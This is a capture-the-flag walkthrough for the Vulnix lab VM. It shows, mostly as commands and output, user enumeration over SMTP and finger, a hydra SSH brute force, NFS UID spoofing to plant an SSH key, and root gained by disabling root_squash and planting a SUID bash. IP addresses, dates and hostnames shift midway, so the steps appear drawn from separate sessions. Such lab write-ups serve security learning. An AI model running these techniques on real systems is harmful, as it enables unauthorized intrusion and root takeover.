

Vulnix

Ssh, finger, smtp, hydra, root squashing,

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root@kali:~# nmap -Pn 192.168.141.134
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-12 15:09 CST
Nmap scan report for 192.168.141.134
Host is up (0.0028s latency).
Not shown: 988 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
25/tcp    open  smtp
79/tcp    open  finger
110/tcp   open  pop3
111/tcp   open  rpcbind
143/tcp   open  imap
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
993/tcp   open  imaps
995/tcp   open  pop3s
2049/tcp   open  nfs
MAC Address: 00:0C:29:3E:75:AC (VMware)
```

```
Nmap done: 1 IP address (1 host up) scanned in 13.49 seconds
root@kali:~# nmap -O 192.168.141.134
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-12 15:09 CST
Nmap scan report for 192.168.141.134
Host is up (0.0014s latency).
Not shown: 988 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
25/tcp    open  smtp
79/tcp    open  finger
110/tcp   open  pop3
111/tcp   open  rpcbind
143/tcp   open  imap
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
993/tcp   open  imaps
995/tcp   open  pop3s
2049/tcp   open  nfs
MAC Address: 00:0C:29:3E:75:AC (VMware)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
```

Network Distance: 1 hop

OS detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 16.51 seconds

root@kali:~#

```
msf auxiliary(scanner/smtp/smtp_enum) > set RHOSTS 192.168.141.134
```

```
RHOSTS => 192.168.141.134
```

```
msf auxiliary(scanner/smtp/smtp_enum) > run
```

```
[*] 192.168.141.134:25 - 192.168.141.134:25 Banner: 220 vulnix ESMTP Postfix (Ubuntu)
```

```
[+] 192.168.141.134:25 - 192.168.141.134:25 Users found: , backup, bin, daemon, games, gnats, irc, libuuid, list, lp, mail, man, messagebus, news, nobody, postmaster, proxy, sshd, sync, sys, syslog, user, uucp, www-data
```

```
[*] Scanned 1 of 1 hosts (100% complete)
```

```
[*] Auxiliary module execution completed
```

```
msf auxiliary(scanner/smtp/smtp_enum) >
```

Found "user". Let's try Finger

```
root@kali:~# finger user@192.168.141.134
```

```
Login: user                               Name: user
```

```
Directory: /home/user                     Shell: /bin/bash
```

```
Never logged in.
```

```
No mail.
```

```
No Plan.
```

```
Login: dovenull                           Name: Dovecot login user
```

```
Directory: /nonexistent                   Shell: /bin/false
```

```
Never logged in.
```

```
No mail.
```

```
No Plan.
```

```
root@kali:~#
```

```
root@kali:/mnt# rpcinfo -p 192.168.141.134
```

| program | vers | proto | port | service |
|---------|------|-------|-------|------------|
| 100000 | 4 | tcp | 111 | portmapper |
| 100000 | 3 | tcp | 111 | portmapper |
| 100000 | 2 | tcp | 111 | portmapper |
| 100000 | 4 | udp | 111 | portmapper |
| 100000 | 3 | udp | 111 | portmapper |
| 100000 | 2 | udp | 111 | portmapper |
| 100024 | 1 | udp | 50161 | status |
| 100024 | 1 | tcp | 51298 | status |
| 100003 | 2 | tcp | 2049 | nfs |
| 100003 | 3 | tcp | 2049 | nfs |
| 100003 | 4 | tcp | 2049 | nfs |
| 100227 | 2 | tcp | 2049 | |
| 100227 | 3 | tcp | 2049 | |

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100003 2  udp  2049  nfs
100003 3  udp  2049  nfs
100003 4  udp  2049  nfs
100227 2  udp  2049
100227 3  udp  2049
100021 1  udp  34799 nlockmgr
100021 3  udp  34799 nlockmgr
100021 4  udp  34799 nlockmgr
100021 1  tcp  42794 nlockmgr
100021 3  tcp  42794 nlockmgr
100021 4  tcp  42794 nlockmgr
100005 1  udp  40254 mountd
100005 1  tcp  35364 mountd
100005 2  udp  38167 mountd
100005 2  tcp  56412 mountd
100005 3  udp  40229 mountd
100005 3  tcp  47023 mountd

```

Starting smtp-user-enum v1.2 (<http://pentestmonkey.net/tools/smtp-user-enum>)

```

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|          Scan Information          |
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```

```

Mode ..... VRFY
Worker Processes ..... 5
Usernames file ..... /usr/share/metasploit-framework/data/wordlists/unix_users.txt
Target count ..... 1
Username count ..... 112
Target TCP port ..... 25
Query timeout ..... 5 secs
Target domain .....

```

Scan started at Tue Nov 13 13:48:37 2018

```

192.168.141.134: ROOT exists
192.168.141.134: backup exists
192.168.141.134: bin exists
192.168.141.134: daemon exists
192.168.141.134: games exists
192.168.141.134: gnats exists
192.168.141.134: irc exists
192.168.141.134: list exists
192.168.141.134: libuuid exists
192.168.141.134: lp exists
192.168.141.134: mail exists
192.168.141.134: man exists
192.168.141.134: messagebus exists
192.168.141.134: nobody exists

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192.168.141.134: news exists
192.168.141.134: postmaster exists
192.168.141.134: proxy exists
192.168.141.134: root exists
192.168.141.134: sshd exists
192.168.141.134: sys exists
192.168.141.134: sync exists
192.168.141.134: user exists
192.168.141.134: uucp exists
192.168.141.134: www-data exists
Scan completed at Tue Nov 13 13:48:43 2018 #####
24 results.

112 queries in 6 seconds (18.7 queries / sec)

Try Hydra?

hydra -t 5 -V -l user -P dict.txt 192.168.141.134 ssh

/0)

[ATTEMPT] target 192.168.141.134 - login "user" - pass "letmein" - 50 of 50 [child 2] (0/0)

[22][ssh] host: 192.168.141.134 login: user password: letmein

1 of 1 target successfully completed, 1 valid password found

Let's SSH

root@kali:~/Downloads# ssh user@192.168.141.134

The authenticity of host '192.168.141.134 (192.168.141.134)' can't be established.

ECDSA key fingerprint is SHA256:IGOuLMZRTuUvY58a8TN+ef/1zyRCAHk0qYP4wMVIOAg.

Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '192.168.141.134' (ECDSA) to the list of known hosts.

user@192.168.141.134's password:

Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)

* Documentation: <https://help.ubuntu.com/>

System information as of Mon Nov 12 15:40:00 GMT 2018

System load: 0.0 Processes: 90

Usage of /: 90.2% of 773MB Users logged in: 0

Memory usage: 8% IP address for eth0: 192.168.141.134

Swap usage: 0%

=> / is using 90.2% of 773MB

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user@vulnix:~\$

```
user@vulnix:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),100(users)
user@vulnix:~$
```

```
root@kali:~# showmount -e 192.168.141.134
Export list for 192.168.141.134:
/home/vulnix *
root@kali:~#
```

Which means user vulnix is accessible from any host

We can perform a little trick here. First of all let's add a user called vulnix on our local system with the same uid as the remote user called vulnix

root@kali:/mnt# ls

hgfs vulnix

root@kali:/mnt# mount 192.168.141.134:/home/vulnix vulnix

root@kali:/mnt#

I check the `/etc/passwd` file on the victim server, and I find out that the user vulnix has UID 2008, so I create a user called `vulnix` on my local machine with UID as 2008 and try to access again the partition:

```
# mkdir /home/vulnix
# vim /etc/passwd
# su - vulnix
vulnix@karen:~$ cd /mnt/
vulnix@karen:/mnt$ ls -l
total 4
drwxr-x--- 2 4294967294 4294967294 4096 Sep  2  2012 vulnix
vulnix@karen:/mnt$ cd vulnix
vulnix@karen:/mnt/vulnix$ ls -la
total 20
drwxr-x--- 2 4294967294 4294967294 4096 Sep  2  2012 .
drwxr-xr-x 3 root      root      4096 Feb  6 17:48 ..
-rw-r--r-- 1 4294967294 4294967294  220 Apr  3  2012 .bash_logout
-rw-r--r-- 1 4294967294 4294967294 3486 Apr  3  2012 .bashrc
-rw-r--r-- 1 4294967294 4294967294  675 Apr  3  2012 .profile
```

I'm in, so I generate an SSH key to log in on the server as user `vulnix` without password:

this is on my `local` machine as myself, generating a new ssh-key:

```
# ssh-keygen -t rsa
```

Generating public/private rsa key pair.

Enter file in which to save the key (`/root/.ssh/id_rsa`):

```
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
c0:62:1d:58:df:9e:ab:2d:cb:97:ac:65:5c:bf:3e:cf root@karen
```

The key's randomart image is:

```
+---[RSA 2048]-----+
|    oo          |
|   .o o .       |
|  o + . .       |
| . . . . .      |
|      S o .      |
|       . o .     |
|      .=. .      |
|     ..=+   .o   |
|      ==.  .ooE  |
+-----+

```

```
# cat /root/.ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQClRaeMdpTMXa+biV7pwsvAhzlf4XhMjO9Ia6
JM0zAgHN8JsWlFXVtxX90xBJ2CKrYu5aj7PYAlZDxoAMYyLF402pkwKU89j9U38malcuTWRNbj
6NNI3BeWRDcxdHsKu8b42xIFGKmBIitZRRCl4uKXDv/WIejdK9vWRTNaYZ9W33vwXEhJyYH/Hv
BhNpmYYMiqzahhRNqd1Ir6qtaVdQPE63Bu3EY9mfTg5XtnPQzoHlnCkDLFwBVrSPXHnnjnAoSN
oAc25ff0A6gveqnRAz8lWqOPJ5cruHzXE3ZOQXfTcH71h0aluBEoMw9GPkuJM7ba6OwZALVEfO
15LkliBZ0t root@karen
```

and on another terminal as `vulnix` user, copying the generated ssh-key in to the `/home/vulnix/.ssh/authorized_keys` file:

```
vulnix@karen:/mnt/vulnix$ mkdir .ssh
vulnix@karen:/mnt/vulnix$ cd .ssh
vulnix@karen:/mnt/vulnix/.ssh$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQClRaeMdpTMXa+biV7pwsvAhzlf4XhMjO9Ia6JM0zAgHN8JsWlFXVtxX90xBJ2CKrYu5aj7PYAlZDxoAMYyLF402pkwKU89j9U38malcuTWRNbj6NNI3BeWRDcxdHsKu8b42xIFGKmBIitZRRCl4uKXDv/WIejdK9vWRTNaYZ9W33vwXEhJyYH/HvBhNpmYYMiqzahhRNqd1Ir6qtaVdQPE63Bu3EY9mfTg5XtnPQzoHlnCkDLFwBVrSPXHnnjnAoSN oAc25ff0A6gveqnRAz8lWqOPJ5cruHzXE3ZOQXfTcH71h0aluBEoMw9GPkuJM7ba6OwZALVEfO15LkliBZ0t root@karen" > authorized_keys
vulnix@karen:/mnt/vulnix/.ssh$
vulnix@karen:/mnt/vulnix/.ssh$ ls -l
total 4
-rw-r--r-- 1 4294967294 4294967294 392 Feb  6 19:17 authorized_keys
```

and then I login on the victim's machine as `vulnix`:

```
# ssh vulnix@192.168.56.103
```

```
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)
```

* Documentation: <https://help.ubuntu.com/>

System information as of Sat Feb 6 19:21:13 GMT 2016

| | | | |
|---------------|----------------|----------------------|----------------|
| System load: | 0.0 | Processes: | 88 |
| Usage of /: | 90.2% of 773MB | Users logged in: | 0 |
| Memory usage: | 8% | IP address for eth0: | 192.168.56.103 |
| Swap usage: | 0% | | |

=> / is using 90.2% of 773MB

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```
vulnix@vulnix:~$ whoami
```

```
vulnix
```

```
vulnix@vulnix:~$ id
```

```
uid=2008(vulnix) gid=2008(vulnix) groups=2008(vulnix)
```

I don't know vulnix's password, but I find out that is a sudoer:

```
$ sudo -l
```

Matching 'Defaults' entries **for** vulnix on this host:

```
env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
```

User vulnix may run the following commands on this host:

```
(root) sudoedit /etc/exports, (root) NOPASSWD: sudoedit /etc/exports
```

This is good, since vulnix can run a command to open /etc/exports even without typing a password. This is what I find:

```
$ sudoedit /etc/exports
```

```
# /etc/exports: the access control list for filesystems which may be exported
```

```
# to NFS clients. See exports(5).
```

```
#
```

```
# Example for NFSv2 and NFSv3:
```

```
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
```

```
#
```

```
# Example for NFSv4:
```

```
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
```

```
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
```

```
#
```

```
/home/vulnix *(rw,root_squash)
```

Remember what I said about `Root squashing` before? (thanks for the lesson, [Owen](#) xD)

I replace the `root_squash` flag with `no_root_squash`. I need to cheat a bit since I don't have `vulnix`'s password and there's no way to export again the NFS partition without a sudo user executing the command `/usr/sbin/exportfs -a` or a machine reboot, so I reboot it manually (Booooooo, what a n0o0o0o0b!!)

Once the machine has rebooted, I mount the partition again and access as local `root` user.

I check that the machine is up again (SORRY AGAIN!):

```
# ping -c 4 192.168.56.103
PING 192.168.56.103 (192.168.56.103) 56(84) bytes of data.
64 bytes from 192.168.56.103: icmp_seq=1 ttl=64 time=1.25 ms
64 bytes from 192.168.56.103: icmp_seq=2 ttl=64 time=1.16 ms
64 bytes from 192.168.56.103: icmp_seq=3 ttl=64 time=1.19 ms
64 bytes from 192.168.56.103: icmp_seq=4 ttl=64 time=1.11 ms

--- 192.168.56.103 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3010ms
rtt min/avg/max/mdev = 1.115/1.182/1.257/0.066 ms
```

and I mount the partition again:

```
# mount 192.168.56.103:/home/vulnix /mnt/vulnix
```

Once mounted, I get a copy of the victim's machine local shell and I change the ownership and SID to the root one:

```
On the victim's machine, as `vulnix`:
$ cp /bin/bash local_shell
```

```
On my local machine, as `root`:
# ls -l
total 900
-rwxr-xr-x 1 4294967294 4294967294 920788 Feb  6 20:53 local_shell
root@karen:/mnt/vulnix# cat local_shell > spawn_root_shell
root@karen:/mnt/vulnix# chmod 4777 !$
chmod 4777 spawn_root_shell
```

On the victim's machine I **then** execute the shell keeping the original file's permissions with the flag `-p`:

```
$ ls -l
total 1800
-rwxr-xr-x 1 vulnix vulnix 920788 Feb  6 20:53 local_shell
-rwsrwxrwx 1 root   root   920788 Feb  6 20:54 spawn_root_shell
$ ./spawn_root_shell -p
```



```
spawn_root_shell-4.2# whoami
root
spawn_root_shell-4.2#
# cd /root/
spawn_root_shell-4.2# ls -l
total 4
-r----- 1 root root 33 Sep  2  2012 trophy.txt
spawn_root_shell-4.2# cat trophy.txt
cc614640424f5bd60ce5d5264899c3be
```

This is a fairly advanced hacking challenge, which involves techniques of enumeration, password cracking and privilege escalation.